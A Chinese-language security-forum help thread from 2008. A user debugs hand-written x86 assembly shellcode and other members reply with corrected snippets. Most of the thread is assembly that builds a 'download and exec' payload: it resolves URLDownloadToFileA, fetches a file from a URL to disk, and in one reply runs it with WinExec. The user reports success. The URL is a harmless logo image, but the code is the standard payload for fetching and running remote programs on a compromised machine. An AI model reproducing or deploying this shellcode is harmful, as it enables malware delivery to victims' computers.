首页
社区
课程
招聘
[求助] 自己写一个download & exec shellcode,调用URLDownloadToFileA时出错
发表于: 2008-5-23 15:47 7223

[求助] 自己写一个download & exec shellcode,调用URLDownloadToFileA时出错

2008-5-23 15:47
7223
用OD看了下,程序前面部分获LoadLibrary、URLDownloadToFileA等函数的地址时都没出错,一调用URLDownloadToFileA就出错(call 地址),调试了很久,解决不了,请各位大虾帮助:
1、请问构造字符串、调用函数的一般格式,尤其是参数很多很长的函数,拿URLDownloadToFileA做例子吧;
2、如果有一个download & exec shellcode的汇编完整代码,能贴出来
就最好不过了(最好是纯汇编的);

附:我的代码(部分)

push 00004165h;查找URLDownloadToFile()函数的地址
push 6c69466fh
push 5464616fh
push 6c6e776fh
push 444c5255h
push esp ;把"URLDownloadToFile"字符串压栈
push edi ;URLMON.dll
call esi ;调用函数 GetProcAddress

mov esp,ebp;
push ebp
mov ebp,esp
xor ebx,ebx
push ebx ;在堆栈最后构造0作为字符串结尾
sub esp,2ch
mov byte ptr [ebp-30h],68h ;h
mov byte ptr [ebp-2Fh],74h ;t
mov byte ptr [ebp-2eh],74h ;t
mov byte ptr [ebp-2dh],70h ;p
mov byte ptr [ebp-2ch],3ah ;:
mov byte ptr [ebp-2bh],2fh ;/
mov byte ptr [ebp-2ah],2fh ;/
mov byte ptr [ebp-29h],77h ;w
mov byte ptr [ebp-28h],77h ;w
mov byte ptr [ebp-27h],77h ;w
mov byte ptr [ebp-26h],2eh ;.
mov byte ptr [ebp-25h],62h ;b
mov byte ptr [ebp-24h],61h ;a
mov byte ptr [ebp-23h],69h ;i
mov byte ptr [ebp-22h],64h ;d
mov byte ptr [ebp-21h],75h ;u
mov byte ptr [ebp-20h],2eh ;.
mov byte ptr [ebp-1fh],63h ;c
mov byte ptr [ebp-1eh],6fh ;o
mov byte ptr [ebp-1dh],6dh ;m
mov byte ptr [ebp-1ch],2fh ;/
mov byte ptr [ebp-1bh],69h ;i
mov byte ptr [ebp-1ah],6dh ;m
mov byte ptr [ebp-19h],67h ;g
mov byte ptr [ebp-18h],2fh ;/
mov byte ptr [ebp-17h],6ch ;l
mov byte ptr [ebp-16h],6fh ;o
mov byte ptr [ebp-15h],67h ;g
mov byte ptr [ebp-14h],6fh ;o
mov byte ptr [ebp-13h],2eh ;.
mov byte ptr [ebp-12h],67h ;g
mov byte ptr [ebp-11h],69h ;i
mov byte ptr [ebp-10h],66h ;f
mov byte ptr [ebp-0fh],0h ;0x00
mov byte ptr [ebp-0eh],43h ;C
mov byte ptr [ebp-0dh],3ah ;:
mov byte ptr [ebp-0ch],5ch ;\
mov byte ptr [ebp-0bh],62h ;b
mov byte ptr [ebp-0ah],61h ;a
mov byte ptr [ebp-09h],69h ;i
mov byte ptr [ebp-08h],64h ;d
mov byte ptr [ebp-07h],75h ;u
mov byte ptr [ebp-06h],62h ;b
mov byte ptr [ebp-05h],2eh ;.
mov byte ptr [ebp-04h],67h ;g
mov byte ptr [ebp-03h],69h ;i
mov byte ptr [ebp-02h],66h ;f

lea ebx,[ebp-31h]
push NULL
push NULL
push ebx
push NULL
push edi ;URLMON.dll
call eax ;URLDownloadToFileA   这个地方就出错了

[课程]Android-CTF解题方法汇总!

收藏
免费 0
支持
分享
最新回复 (9)
雪    币: 249
活跃值: (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
2
call @F
db "urlmon.dll"
@@:
call LoadLibraryA
call @F
db "URLDownloadToFileA"
@@:
push eax
call GetProxxxxxxx.
2008-5-23 15:58
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3


这是获得URLDownloadToFileA地址的意思吗?我已经获取了啊!

请给点解释吧,偶菜鸟看的不太明白
2008-5-23 16:14
0
雪    币: 249
活跃值: (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
4
我的意思是
mov byte ptr [ebp-0ch],5ch ;\
mov byte ptr [ebp-0bh],62h ;b
mov byte ptr [ebp-0ah],61h ;a
mov byte ptr [ebp-09h],69h ;i
mov byte ptr [ebp-08h],64h ;d
mov byte ptr [ebp-07h],75h ;u
mov byte ptr [ebp-06h],62h ;b
mov byte ptr [ebp-05h],2eh ;.
mov byte ptr [ebp-04h],67h ;g
mov byte ptr [ebp-03h],69h ;i
mov byte ptr [ebp-02h],66h ;f
这种代码很丑
换种写法 你就知道错误在哪里了

        xor edi,edi
        call @F
        db '1.txt',0
        @@:
        pop esi
        push edi
        push edi
        push esi
        call @F
        db 'http://www.baidu.com/img/logo.gif',0
        push edi
        call URLDownloadToFile
2008-5-23 16:33
0
雪    币: 124
活跃值: (70)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
5
@pushsz                 macro   sz
                        local   __0
                        call    __0
                        db      sz, 0
__0:
                        endm

  cdq
  push edx
  push edx
  @pushsz "1.gif"
  @pushsz "http://www.baidu.com/img/logo.gif"
  push edx
  call URLDownloadToFile

楼上的写法也很丑。。
2008-5-23 16:55
0
雪    币: 249
活跃值: (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
6
楼上的宏写得很难看~
cdq用得一点也不安全

我的代码把后面的winexec省略了~
加上去 就比你的漂亮多了~!
  xor edi,edi
  call @F
  db '1.txt',0
  @@:
  pop esi
  push edi
  push edi
  push esi
  call @F
  db 'http://www.baidu.com/img/logo.gif',0
  push edi
  call URLDownloadToFile
  push edi
  push esi
  call WinExec
2008-5-23 17:01
0
雪    币: 124
活跃值: (70)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
7
确实厉害
2008-5-23 17:18
0
雪    币: 249
活跃值: (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
8
嘿嘿 玩笑了~
2008-5-23 17:37
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
果然是大牛啊

按两位大虾的代码写了下,果然容易多了,少走了很多弯路

btw:洋大虾少写一个@@,笔误拉,呵呵,还是改过来,以免后来者又摸不着头脑:
  xor edi,edi
  call @F
  db '1.txt',0
  @@:
  pop esi
  push edi
  push edi
  push esi
  call @F
  db 'http://www.baidu.com/img/logo.gif',0
  @@:
  push edi
  call URLDownloadToFile

另想请洋大虾推荐下写shellcode的经典教程
2008-5-23 18:12
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
终于完成了,再次感谢两位大虾
2008-5-23 19:16
0
游客
登录 | 注册 方可回帖
返回
//